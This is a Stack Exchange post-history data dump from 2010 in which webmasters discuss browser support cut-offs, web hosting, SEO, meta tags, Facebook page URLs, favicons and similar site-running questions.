  <row Id="12759" PostHistoryTypeId="2" PostId="6391" RevisionGUID="5920e989-71d1-4750-bb47-03c89ba34837" CreationDate="2010-12-06T17:21:53.973" UserId="3697" Text="I'm lead dev for a large website which has a higher than average percentage of IE6 users - about 4.4% of our audience. Our new version is going to make use of progressive enhancement - including transitions and effects as well as rounded corners, gradients, web fonts and other CSS techniques.&#xD;&#xA;&#xD;&#xA;Obviously there are cross-browser ways to achieve most of these things which require various amounts of work to implement.&#xD;&#xA;&#xD;&#xA;What I'm currently looking into - and what I'd like your experiences of - is how to decide at what point we draw the line between providing an enhanced experience vs just supporting the functionality.&#xD;&#xA;&#xD;&#xA;FYI, I believe that this question meets [the six guidelines for great subjective questions][1] as defined in the FAQ. I'm after answers detailing why and how, not too short, with constructive comments, experiences, facts and references.&#xD;&#xA;&#xD;&#xA;Thanks! Adam&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2010/09/good-subjective-bad-subjective/" />
  <row Id="12760" PostHistoryTypeId="1" PostId="6391" RevisionGUID="5920e989-71d1-4750-bb47-03c89ba34837" CreationDate="2010-12-06T17:21:53.973" UserId="3697" Text="At what visitor share do you stop supporting a given browser?" />
  <row Id="12761" PostHistoryTypeId="3" PostId="6391" RevisionGUID="5920e989-71d1-4750-bb47-03c89ba34837" CreationDate="2010-12-06T17:21:53.973" UserId="3697" Text="&lt;browsers&gt;&lt;cross-browser&gt;&lt;market-share&gt;&lt;browser-support&gt;" />
  <row Id="12762" PostHistoryTypeId="5" PostId="2368" RevisionGUID="9a35a264-c771-45de-a182-27035af59649" CreationDate="2010-12-06T18:55:03.357" UserId="1429" Comment="added 138 characters in body" Text="It's very difficult to find a good web hosting **service**.&#xD;&#xA;And, trust me, it's a huge pain in the neck using a useless Hosting Service with poor technical assistance service.&#xD;&#xA;Especially when you write your own applications to be run on the server.&#xD;&#xA;&#xD;&#xA;As said by John Conde, it's true that most Web Hosters are simply reselling the same type of machines (same systems/servers, with the same OS and the same control panel), most are even resellers of resellers of resellers...&#xD;&#xA;For this exact reason, the real difference in now days is not made so much by the machines (unless they are overloaded obviously).&#xD;&#xA;&#xD;&#xA;**The real difference is made by the SERVICE**: how good the Hoster's tech departments are in **managing those servers**, how **fast are in fixing** issues, how nice and **proactive** they try to be when you tell them something does not work.&#xD;&#xA;&#xD;&#xA;An example for all: you might have a PHP script that makes the server show a 501 Internal Server Error. You are a good coder and you find out on your own what's the exact line of code in that script that makes the server show a 501.&#xD;&#xA;You then copy that single line in another script to do some test on the same server and you eventually see that this new script is still making server show 501, so it's definitely that line of code.&#xD;&#xA;&#xD;&#xA;At this point what do you do? You start changing your app, but that's not a good idea cause it might take you a lot of time to workaround such an issue and what happens if your workaround makes your app work on that server, but not on the server of another hoster?&#xD;&#xA;Do you make a different patch for any type of hoster???&#xD;&#xA;&#xD;&#xA;No, you pay for the hosting **service**, you pay for technical assistance, therefor you open a ticket on your hoster an you tell them: &quot;I have prepared a PHP script made of **just one single line of code (or just really few lines, to show the issue)** that shows the server go 501 Internal Server Error, could you plz help me?&quot;&#xD;&#xA;&#xD;&#xA;Many web hosters (like these: [www.inmotionhosting.com][1]) will simply reply you: &quot;Sorry, but we don't look into code&quot; (even if it's just one line of code), those are the types of web hosters to absolutely avoid.&#xD;&#xA;Some other hosters like these ([www.qualityhostonline.com][2]) will kindly reply you: &quot;We look into it&quot;, and later they discover it's a too strict rule on their Apache mod_security that makes the server run a 501 Internal Server Error. They fix it and you solved all your problems.&#xD;&#xA;&#xD;&#xA;The examples provided above (both coming from my personal experience) might help you also in seeing how difficult it is to discriminate among hosters without being deceived by their marketing stuff. They both have nice webistes, full of awards and all those &quot;What they say about us...&quot;.&#xD;&#xA;&#xD;&#xA;Unfortunately you can discover this only by experience using their services or by following peoples suggestions who have used those hosting service before.&#xD;&#xA;&#xD;&#xA;Anyway some way to try a web haoster are:&#xD;&#xA;&#xD;&#xA;1. **send them pre-sales question that should be ALSO TECHNICAL**, maybe also about things that you don't need, but just to see if the guy knows what you are talking about.&#xD;&#xA;You could ask for instance: &quot;Can I make .htm file on you server to be processed by the PHP processors&quot;. If they reply you something like: &quot;No, you can't serve HTML files with PHP processor&quot;, or even worst they find a ridiculous excuse saying that the server would get overloaded, It definitely means they are useless tech guys, this is the typical hoster that at the 1st problem it happens you will understand what a big mistake you did in buying their service.&#xD;&#xA;&#xD;&#xA;2. By doing (1) you also **test how fast they reply** (and if they reply, some do not reply at all even on a pre-sales question, I don't think I need to tell you that these hosters must be avoided completely).&#xD;&#xA;&#xD;&#xA;3. **ping their main website**, many turn down ping on server because they say it might create a security holes. Avoid these hosters, eitehr they want to mask you where their server is located, or even worst they really think it ping cause security holes. In nowadays ping can cause secuirty holes to servers managed by useless tech guys who do not know how to prevent those types of attack (generally NOT expert people), do you want those NOT expert people to manage your server?&#xD;&#xA;&#xD;&#xA;4. By doing (3) you can also **see where their servers are**, if the ping takes too long compared to other local websites, it means their server is somewhere on the moon not in US. (I know they could use different servers, one for their website in US and one in India for your website, but they will have different ping times and you can definitely complain about this when your website is up. They will have then to give you a good explanation or totally refund you).&#xD;&#xA;&#xD;&#xA;5. **Don't trust who is selling Unlimited** of Whatever. A basic Physics law says: &quot;Nothing can be created or destroyed, everything can be simply changed&quot;. Now selling Unlimited means creating something from the vacuum that is not possible in Physics. So they are already cheating on you even before saying &quot;Hello&quot; to you. True that if they give you 25 GB of space for your average size website, you will feel it's unlimited space, but then why don't they just write down that they give you 25GB and not unlimited instead of cheating you?! It's a way of thinking, if their managers who created their website think in this way, it surely means it's company driven by marketing guys, the typical guy that does not know anything about tech, but he thinks that is pretty simple, not a problem. Which is also true from their point of view, because if their service goes down they won't have big problems in loosing you as a customer, you provided them what, 25 bucks per year?! But you won't feel the same for your customers when they will scream and shout at you seeing their websites down.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.inmotionhosting.com&#xD;&#xA;  [2]: http://www.qualityhostonline.com" />
  <row Id="12763" PostHistoryTypeId="2" PostId="6392" RevisionGUID="3572ad96-e03a-4aff-8255-ad4099e22f49" CreationDate="2010-12-06T19:03:08.700" UserId="2629" Text="I was wondering which of this two possibilities may be better for SEO.&#xD;&#xA;&#xD;&#xA;Let's take [The Sitemap Paradox][1] as an example.&#xD;&#xA;&#xD;&#xA;What would you reccommend:&#xD;&#xA;&#xD;&#xA;    http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox&#xD;&#xA;&#xD;&#xA;which actually is:&#xD;&#xA;&#xD;&#xA;    http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox/index.asp&#xD;&#xA;&#xD;&#xA;or would you recommend (SOMETHING LIKE):&#xD;&#xA;&#xD;&#xA;    http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox.asp&#xD;&#xA;&#xD;&#xA;I know the stack exchange sites have an excellent SEO, but could you point to some documentation about this topic in particular?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12764" PostHistoryTypeId="1" PostId="6392" RevisionGUID="3572ad96-e03a-4aff-8255-ad4099e22f49" CreationDate="2010-12-06T19:03:08.700" UserId="2629" Text="What's better for SEO folders or filenames?" />
  <row Id="12765" PostHistoryTypeId="3" PostId="6392" RevisionGUID="3572ad96-e03a-4aff-8255-ad4099e22f49" CreationDate="2010-12-06T19:03:08.700" UserId="2629" Text="&lt;seo&gt;" />
  <row Id="12766" PostHistoryTypeId="2" PostId="6393" RevisionGUID="c1d30c85-1c7f-4e15-83c4-b9e3cc74f47a" CreationDate="2010-12-06T08:27:44.050" UserDisplayName="OTZ" Text="Google updates PPC with CTR and past statistics it collects, but it is not clear how exactly and precisely Google determines the PPC for AdWords and AdSense.&#xD;&#xA;&#xD;&#xA;Could anyone explain it in detail, preferably with an example?" />
  <row Id="12767" PostHistoryTypeId="1" PostId="6393" RevisionGUID="c1d30c85-1c7f-4e15-83c4-b9e3cc74f47a" CreationDate="2010-12-06T08:27:44.050" UserDisplayName="OTZ" Text="How does AdWords' Pay-Per-Click (PPC) get determined exactly?" />
  <row Id="12768" PostHistoryTypeId="3" PostId="6393" RevisionGUID="c1d30c85-1c7f-4e15-83c4-b9e3cc74f47a" CreationDate="2010-12-06T08:27:44.050" UserDisplayName="OTZ" Text="&lt;google&gt;&lt;google-adsense&gt;&lt;adwords&gt;" />
  <row Id="12769" PostHistoryTypeId="17" PostId="6393" RevisionGUID="6d372ed8-94fe-41bf-9dc9-a1faea66adb3" CreationDate="2010-12-06T19:14:44.383" UserId="-1" Comment="from http://stackoverflow.com/questions/4364478/how-does-adwords-pay-per-click-ppc-get-determined-exactly" Text="" />
  <row Id="12770" PostHistoryTypeId="5" PostId="6185" RevisionGUID="0b1846cd-7c51-4610-b79b-da75d648b19e" CreationDate="2010-12-06T19:36:49.073" UserId="3590" Comment="added 21 characters in body" Text="im trying to make an up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. Also any body knows new/promising meta tags? I will add yours into my list so this chart is a result of live discussion and up to date. Also, it would be creative to invent your own useful meta, because ***we are the ones making the web***, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE?   -   NECESSARY?   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;original-source&quot; P url of whoever broke the news gets credits - N? - G?&#xD;&#xA;    meta &quot;syndication-source&quot;  P url for syndication of published news - N? - G?&#xD;&#xA;&#xD;&#xA;    #### seems obsolete&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google but yahoo likes them&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G? &#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;&#xD;&#xA;    #### invented by me&#xD;&#xA;    meta &quot;audience&quot; = P filteres audience: &quot;+seniors, +parents, -children, -youth&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual style: &quot;discussion, informative, commercial,&#xD;&#xA;                  sexual, fictional, scientific, romantic, therapeutic, technical&quot;" />
  <row Id="12771" PostHistoryTypeId="2" PostId="6394" RevisionGUID="e710d64c-cc93-475b-913a-79fb4ac1670d" CreationDate="2010-12-06T19:49:00.110" UserId="3700" Text="I have multiple OPEN-ID accounts registered with same gmail address, now i forget one of my Open ID account's password and when i tried to recover my password then the mail sent by 'The OPEN ID Team' having one open-id account password change link whereas i need another open-id password that is also registered with same gmail account so what i have to do?? although i m able to login through gmail, but i want to login through openid.&#xD;&#xA;&#xD;&#xA;i have mailed to open id many times already? but no answer??&#xD;&#xA;&#xD;&#xA;how do i collect all open ID password reset link referencing same email address??&#xD;&#xA;" />
  <row Id="12772" PostHistoryTypeId="1" PostId="6394" RevisionGUID="e710d64c-cc93-475b-913a-79fb4ac1670d" CreationDate="2010-12-06T19:49:00.110" UserId="3700" Text="unable to retrieve password change link of exact  OPEN-ID where multiple open id registered with same gmail account." />
  <row Id="12773" PostHistoryTypeId="3" PostId="6394" RevisionGUID="e710d64c-cc93-475b-913a-79fb4ac1670d" CreationDate="2010-12-06T19:49:00.110" UserId="3700" Text="&lt;openid&gt;" />
  <row Id="12774" PostHistoryTypeId="2" PostId="6395" RevisionGUID="c5e37880-a9fa-44d1-b66f-5b3cb28ab4cf" CreationDate="2010-12-06T19:53:37.567" UserId="1429" Text="Markup **with full domain http path for IE** and keep favicon in document folder:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.your-site-domain/favicon.ico&quot;&gt;&#xD;&#xA;&#xD;&#xA;Standard image format:&#xD;&#xA;&#xD;&#xA;- .ico&#xD;&#xA;- 16 x 16 pixels&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12775" PostHistoryTypeId="2" PostId="6396" RevisionGUID="d14e77ec-0175-4521-a68a-bfc115a1d01b" CreationDate="2010-12-06T20:36:02.553" UserId="3142" Text="In business, for many non-web related questions we often look at 80% cut offs. Such as, if we were trying to thin out our active clients (which clients produce 80% of our revenue?).&#xD;&#xA;&#xD;&#xA;Your question is quite subjective, but for similar types of questions I'm of the opinion that 80% is a good cut off&#xD;&#xA;&#xD;&#xA;I would add, however, that if you are a public work such as the electric company, or the school system, I think you have an obligation to serve more -- 95% would be a good goal. That still leaves quite a few people out of it, even.&#xD;&#xA;&#xD;&#xA;Likewise, if you're an artist who may desire to serve up a state of the art experience, then it would make sense to put the onus on the user -- perhaps the 75% mark is good enough in this situation... I suppose. : )" />
  <row Id="12776" PostHistoryTypeId="10" PostId="6387" RevisionGUID="7730b5f5-78ca-466a-874d-c2278bbfafbb" CreationDate="2010-12-06T20:38:48.403" UserId="138" CloseReasonId="7" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="12777" PostHistoryTypeId="2" PostId="6397" RevisionGUID="77327827-3739-403b-b18b-f55561f4d1e1" CreationDate="2010-12-06T20:52:14.177" UserId="1429" Text="I'm trying to set up this *damn FB* page for the company where I'm working for.&#xD;&#xA;&#xD;&#xA;I think it's probably useless stuff, but I want to give a try.&#xD;&#xA;&#xD;&#xA;I came up with this page:&#xD;&#xA;&#xD;&#xA;    www.facebook.com/pages/Poste-Certificateit-PEC-per-societa/168391856527591&#xD;&#xA;&#xD;&#xA;Then I saw company pages with simple URLs, like this:&#xD;&#xA;&#xD;&#xA;    www.facebook.com/serverplan.it&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I thought my 1st url could be re-written also as `www.facebook.com/Poste-Certificateit-PEC-per-societa`, but it does not work.&#xD;&#xA;&#xD;&#xA;So why some **company pages** have simple URLs and some others need that long URLs?&#xD;&#xA;&#xD;&#xA;Or what am I doing wrong?!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And BTW, if I'm on the wrong FB approach attempting to create *company page*, I mean if you think a *group page* or something else might be better from a Internet Marketing POV, plz let me know and exaplain. Thanks again.&#xD;&#xA;" />
  <row Id="12778" PostHistoryTypeId="1" PostId="6397" RevisionGUID="77327827-3739-403b-b18b-f55561f4d1e1" CreationDate="2010-12-06T20:52:14.177" UserId="1429" Text="Facebook company pages, why some are simple urls and some are strange long urls?" />
  <row Id="12779" PostHistoryTypeId="3" PostId="6397" RevisionGUID="77327827-3739-403b-b18b-f55561f4d1e1" CreationDate="2010-12-06T20:52:14.177" UserId="1429" Text="&lt;url&gt;&lt;facebook&gt;&lt;page&gt;&lt;clean-urls&gt;" />
  <row Id="12780" PostHistoryTypeId="2" PostId="6398" RevisionGUID="27d10d29-5e82-46d1-b6e3-8832cfba4d38" CreationDate="2010-12-06T20:59:55.540" UserId="3142" Text="To answer your question, &quot;are they helpful?&quot;&#xD;&#xA;&#xD;&#xA;**Usually, yes. At least they can't hurt.** No one can hurt your site off-page. This is often mis-stated. (I'd venture a guess that I'll get challenged on it here.) I've read community discussions where black hatters dared others to get them penalized off-page, stating the obvious: if you could get penalized for backlinks, wouldn't competitors point backlinks to the sites they want to beat out?&#xD;&#xA;&#xD;&#xA;Two caveats:&#xD;&#xA;&#xD;&#xA; 1. What John Conde said about reciprocating a link from a bad neighborhood should be avoided. Personally, I'd avoid any type of link exchange program.&#xD;&#xA; 2. Some critics suggest that a new site that shows an inorganic proliferation of backlinks could be at worst, &quot;sandboxed&quot; (there is no consensus on the specifics of that concept, sandboxing), or possibly having no benefit to the links for a period of time.&#xD;&#xA;&#xD;&#xA;To answer the &quot;should *you*&quot; part of the question:&#xD;&#xA;&#xD;&#xA;**I think it's valid to look at your competition in order to decide.** If they are not buying links and deploying mininets or linkwheels, then please don't be the first in your industry to set that in motion, and consider yourself lucky that you don't have to compete with cheaters.&#xD;&#xA;&#xD;&#xA;Lastly, here is a useful suggestion you can use to build up your backlinks. I have often looked at competing sites and noted where their backlinks came from. Often times, they are listed in directory sites and local business sites where you can create a profile page. I made certain that the no competitor was listed on an open site that I did not have a listing (and backlink) from.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12781" PostHistoryTypeId="2" PostId="6399" RevisionGUID="ab781865-41ee-452a-b3f8-28b7f4bfb8a2" CreationDate="2010-12-06T21:05:27.627" UserId="1253" Text="A page has to have 25 fans/likes before they can select a vanity URL. If a page doesn't have enough fans/likes or doesn't choose a vanity URL they will use the default one assigned to them by Facebook." />
  <row Id="12782" PostHistoryTypeId="6" PostId="6397" RevisionGUID="5eab83c6-691c-457a-9312-0ee3df845559" CreationDate="2010-12-06T21:06:21.450" UserId="1253" Comment="Removed duplicate tag (&quot;urls&quot; is now a synonym of &quot;url&quot;)" Text="&lt;url&gt;&lt;facebook&gt;&lt;page&gt;&lt;clean-urls&gt;" />
  <row Id="12783" PostHistoryTypeId="2" PostId="6400" RevisionGUID="1d6b42e0-8224-4fbe-af72-ad4955345325" CreationDate="2010-12-06T21:09:50.210" UserId="3688" Text="Yes, I can assure you that http://discovercard.com/ is secured. Why? Well, please check http://discovercard.com carefully. Just before you hit the &quot;login&quot; button, please check the &quot;Login&quot; button thoroughly. On the status bar, you will see that when you click on this button, it will redirect your request to a secure HTTPS protocol.&#xD;&#xA;&#xD;&#xA;As of this, I can ensure that this portal is safe and secure.&#xD;&#xA;&#xD;&#xA;Why http://discovercard.com/ do all this? Well, if you run your site all in HTTPS protocol, your site will load slower than the ordinary site. Please remember that you will only have to protect your site when some credential informations is entered, not to the entire site. If a visitor comes to your site just for browsing, he does not need a secured channel. In fact, he may leave if he knows that your site loads slower due to the existense of the SSL.&#xD;&#xA;&#xD;&#xA;Hope this helps :-)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12784" PostHistoryTypeId="2" PostId="6401" RevisionGUID="05c5fe4d-95de-4aa0-a6d6-14a872327dab" CreationDate="2010-12-06T21:21:54.687" UserId="3142" Text="There is a book that is very helpful, called &quot;[The Design of Everyday Things][1].&quot;&#xD;&#xA;&#xD;&#xA;It provides a framework of the considerations that go into things we often take for granted, such as car door handles. The author, Donald Norman, a partner of Jakob Nielsen espouses seven principles:&#xD;&#xA;&#xD;&#xA;1. Use both knowledge in the world and in the head&#xD;&#xA;2. Simplify the structure of tasks&#xD;&#xA;3. Make things visible&#xD;&#xA;4. Get the mappings right&#xD;&#xA;5. Exploit the powers of constraints-Natural &amp; Artificial&#xD;&#xA;6. Design for Error&#xD;&#xA;7. When all else fails, standardize&#xD;&#xA;&#xD;&#xA;Additionally, Apple's old, published &quot;Human Interface Guidelines&quot; is classic reading. The UI rules are now pretty dated, but the original thoughts that went into every consideration on behalf of the user is invaluable. You can pickup an original (white) copy of the Human Interface Guidelines on eBay:&#xD;&#xA;&#xD;&#xA;[http://cgi.ebay.com/Apple-II-and-Macintosh-Human-Interface-Guidelines-/220417326197][2]&#xD;&#xA;&#xD;&#xA;There are more modern versions of the book, the most up to date (iPhone and Mac OS, both, separately) is online at no cost. I think you might enjoy owning an older, printed version of the text, though, and that's why I suggested the eBay sourcing of it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In keeping with the theme, [Bruce &quot;Tog&quot; Tognzaaini][3], who is also a partner at the Nielsen Norman group, contributed greatly to Apple's formalization of UI theory. Tog has a couple of books out (also kind of dated): Tog on Interface, and Tog on Software Design.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Design-Everyday-Things-Donald-Norman/dp/0465067107/&#xD;&#xA;  [2]: http://cgi.ebay.com/Apple-II-and-Macintosh-Human-Interface-Guidelines-/220417326197?pt=LH_DefaultDomain_0&amp;hash=item3351e57c75&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Bruce_Tognazzini" />
  <row Id="12785" PostHistoryTypeId="2" PostId="6402" RevisionGUID="b9453025-917c-44af-b121-221f3939613a" CreationDate="2010-12-06T21:33:40.030" UserId="2197" Text="Google Webmaster Tools allows to set preferred domain for a web site (with or without www). How important is it to set it in terms of SEO? Is there any difference which one I choose? Also, if I set a preferred domain should I issue a 301 redirect when someone visits the other domain?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="12786" PostHistoryTypeId="1" PostId="6402" RevisionGUID="b9453025-917c-44af-b121-221f3939613a" CreationDate="2010-12-06T21:33:40.030" UserId="2197" Text="Importance of Preferred Domain" />
  <row Id="12787" PostHistoryTypeId="3" PostId="6402" RevisionGUID="b9453025-917c-44af-b121-221f3939613a" CreationDate="2010-12-06T21:33:40.030" UserId="2197" Text="&lt;seo&gt;&lt;domains&gt;&lt;redirects&gt;" />
  <row Id="12788" PostHistoryTypeId="2" PostId="6403" RevisionGUID="ef75c709-0600-4170-9db7-fd9e016cf3dc" CreationDate="2010-12-06T22:08:29.440" UserDisplayName="Davey" Text="I have a twitter account linked to my wordpress site so that each tweet becomes a new post. I was wondering why my SEO was hurting and when I looked at the source I was seeing stuff like this:&#xD;&#xA;&#xD;&#xA;Los Conchita &amp; # 8 2 1 7 ; s on Prince has V &amp; # 8 2 3 0 ;&#xD;&#xA;&#xD;&#xA;That is what the source lists as the title of the page. Has anyone else had this problem and know why it is occurring? Thanks!&#xD;&#xA;&#xD;&#xA;The site is reviewathens.com" />
  <row Id="12789" PostHistoryTypeId="1" PostId="6403" RevisionGUID="ef75c709-0600-4170-9db7-fd9e016cf3dc" CreationDate="2010-12-06T22:08:29.440" UserDisplayName="Davey" Text="Strange SEO Problems" />
  <row Id="12790" PostHistoryTypeId="3" PostId="6403" RevisionGUID="ef75c709-0600-4170-9db7-fd9e016cf3dc" CreationDate="2010-12-06T22:08:29.440" UserDisplayName="Davey" Text="&lt;php&gt;&lt;html&gt;&lt;css&gt;&lt;wordpress&gt;&lt;seo&gt;" />
  <row Id="12791" PostHistoryTypeId="17" PostId="6403" RevisionGUID="3edec51f-0033-4ebf-83b8-cb2dd397d9e2" CreationDate="2010-12-06T22:12:44.033" UserId="-1" Comment="from http://stackoverflow.com/questions/4371434/strange-seo-problems" Text="" />
  <row Id="12792" PostHistoryTypeId="2" PostId="6404" RevisionGUID="db534657-28ea-431c-b39e-1db8bad30167" CreationDate="2010-12-06T22:40:25.643" UserId="3467" Text="It used to be so that Google would index www and no-www separately. To fix that, people would usually use a 301 from one to the other to prevent duplicate content, or alternatively use the rel=&quot;canonical&quot; tag to point out which had their preference.&#xD;&#xA;&#xD;&#xA;Now that Google Webmaster Tools provides the option to select a preferred domain it doesn't matter much anymore in terms of Google SEO. By selecting a preference Google will use the one you chose and ignore the other. So no, for Google you won't have to use a 301 anymore, and there is no difference in SEO results between the two. Choose the one you prefer.&#xD;&#xA;&#xD;&#xA;Keep in mind though that (althoug it's a small percentage) there's other search engines out there that may still see the www and no-www as different sites. It's therefor adviced to still keep either a 301 or a rel=&quot;canonical&quot; to point them to the right one. If your aim is just Google, you won't really have to, but if you can just use one of the two just to be sure." />
  <row Id="12793" PostHistoryTypeId="6" PostId="6403" RevisionGUID="49300522-e569-43b3-b635-45ef8565e170" CreationDate="2010-12-06T23:20:48.217" UserId="1253" Comment="Removed unnecessary tags" Text="&lt;seo&gt;&lt;wordpress&gt;" />
  <row Id="12794" PostHistoryTypeId="5" PostId="6398" RevisionGUID="cfafe292-bb9d-4311-8fd7-d331c9b7b63e" CreationDate="2010-12-06T23:36:35.133" UserId="3142" Comment="Restated my suggestion to avoid link exchange. It was vague. " Text="To answer your question, &quot;are they helpful?&quot;&#xD;&#xA;&#xD;&#xA;**Usually, yes. At least they can't hurt.** No one can hurt your site off-page. This is often mis-stated. (I'd venture a guess that I'll get challenged on it here.) I've read community discussions where black hatters dared others to get them penalized off-page, stating the obvious: if you could get penalized for backlinks, wouldn't competitors point backlinks to the sites they want to beat out?&#xD;&#xA;&#xD;&#xA;Two caveats:&#xD;&#xA;&#xD;&#xA; 1. What John Conde said about avoiding the reciprocating of a link from a bad neighborhood is good advice.  Additionally, I'd avoid *any* type of link exchange program.&#xD;&#xA; 2. Some critics suggest that a new site that shows an inorganic proliferation of backlinks could be at worst, &quot;sandboxed&quot; (there is no consensus on the specifics of that concept, sandboxing), or possibly having no benefit to the links for a period of time.&#xD;&#xA;&#xD;&#xA;To answer the &quot;should *you*&quot; part of the question:&#xD;&#xA;&#xD;&#xA;**I think it's valid to look at your competition in order to decide.** If they are not buying links and deploying mininets or linkwheels, then please don't be the first in your industry to set that in motion, and consider yourself lucky that you don't have to compete with cheaters.&#xD;&#xA;&#xD;&#xA;Lastly, here is a useful suggestion you can use to build up your backlinks. I have often looked at competing sites and noted where their backlinks came from. Often times, they are listed in directory sites and local business sites where you can create a profile page. I made certain that the no competitor was listed on an open site that I did not have a listing (and backlink) from.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12800" PostHistoryTypeId="2" PostId="6407" RevisionGUID="280eb65f-efe4-4e73-84ae-4c4abc14359f" CreationDate="2010-12-07T00:21:14.017" UserId="3707" Text="as John said you need at least `25 likes` of that page to be able to customize the url.&#xD;&#xA;&#xD;&#xA;Once you get `25 likes/fans` go to `facebook.com/username` and you can customize it there.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12801" PostHistoryTypeId="2" PostId="6408" RevisionGUID="b713a0e2-3173-4d22-864b-bd9e7ddfeb82" CreationDate="2010-12-07T01:06:50.220" UserId="3706" Text="You could use [Google App Engine][1] to host static or dynamic pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/" />
  <row Id="12802" PostHistoryTypeId="2" PostId="6409" RevisionGUID="f20f9b73-031d-4384-b1b0-60e316dfad66" CreationDate="2010-12-07T01:12:30.397" UserId="3514" Text="You don't need a link anymore, but it's useful. Instead, so long as you leave the file named favicon.ico (and it's an ico) in your root, it'll be used as the favicon." />
  <row Id="12803" PostHistoryTypeId="2" PostId="6410" RevisionGUID="51687967-aac2-45de-a747-85123d2399c3" CreationDate="2010-12-07T01:54:05.543" UserId="3708" Text="Site template and software are very different things.  Sounds like you're actually wanting social networking software app that is written in java.  This site may help you: http://www.manageability.org/blog/stuff/java-open-source-social-network" />
  <row Id="12804" PostHistoryTypeId="2" PostId="6411" RevisionGUID="71cabad8-e5a0-4e99-8076-ddbb52235b55" CreationDate="2010-12-07T01:57:52.750" UserId="3708" Text="This one's a little old, but I've used this free app from IBM to great success in generating privacy policies a P3P policies: http://www.alphaworks.ibm.com/tech/p3peditor" />
  <row Id="12805" PostHistoryTypeId="2" PostId="6412" RevisionGUID="f0f770d6-1793-415d-9b77-dc0d8518d374" CreationDate="2010-12-07T02:26:23.707" UserId="576" Text="A [pastebin][1] is a web application which allows its users to upload snippets of text, usually samples of source code, for public viewing.&#xD;&#xA;&#xD;&#xA;You can pick one from this [list of pastebin apps][2] that needs a sign-up so that you can track your posts. Typically, these apps don't require a sign-up and they generate a random URL for your snippet that you can use &amp; share.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Pastebin&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Comparison_of_pastebins" />
  <row Id="12806" PostHistoryTypeId="2" PostId="6413" RevisionGUID="4f704157-aa97-4ea1-bce0-3e016f5371d2" CreationDate="2010-12-07T02:54:30.940" UserId="3514" Text="Rephrase the question?&#xD;&#xA;&#xD;&#xA;http://wordpress.com  &#xD;&#xA;http://space.live.com   &#xD;&#xA;http://www.blogsome.com  &#xD;&#xA;http://www.blogsome.com  &#xD;&#xA;http://okayblog.net " />
  <row Id="12807" PostHistoryTypeId="2" PostId="6414" RevisionGUID="15530bd6-dac3-4271-adc9-3810fc5875a0" CreationDate="2010-12-07T03:17:55.060" UserDisplayName="Chris" Text="Im in need of a bit of advice from all you SEO nuts out there.&#xD;&#xA;&#xD;&#xA;I am a web developer, as such i dont take part in hardcore SEO tactics, i leave that to the professionals .... I do however make my sites compliant xHTML and CSS, i include the usual meta tags / description and also do all the usual alt text on images etc etc&#xD;&#xA;&#xD;&#xA;I have a client who is giving me a hard time and is proving to be a bit of a pain in the ass.&#xD;&#xA;&#xD;&#xA;Basically, he had developed a site around 6 years ago himself and according to him, all he did was include meta-tags and it was on page 1 of google. Now after he contracted us to develop a new site, we included all tags and content on the new site that was on the old site, except now it seems its dropped to around page 65.&#xD;&#xA;&#xD;&#xA;Im no SEO expert, i dont even touch on that stuff apart from the stuff i described above, but can someone give me some advice as to what i can tell me client is happened, he seems to think everything revolves around meta-tags, and everytime he calls he says that his meta-tags arent doing anything. i know that meta-tags arent everything these days but i dont know what to tell him.&#xD;&#xA;&#xD;&#xA;Any advice would be great, thanks." />
  <row Id="12808" PostHistoryTypeId="1" PostId="6414" RevisionGUID="15530bd6-dac3-4271-adc9-3810fc5875a0" CreationDate="2010-12-07T03:17:55.060" UserDisplayName="Chris" Text="Search Engine Optimisation and Clients" />
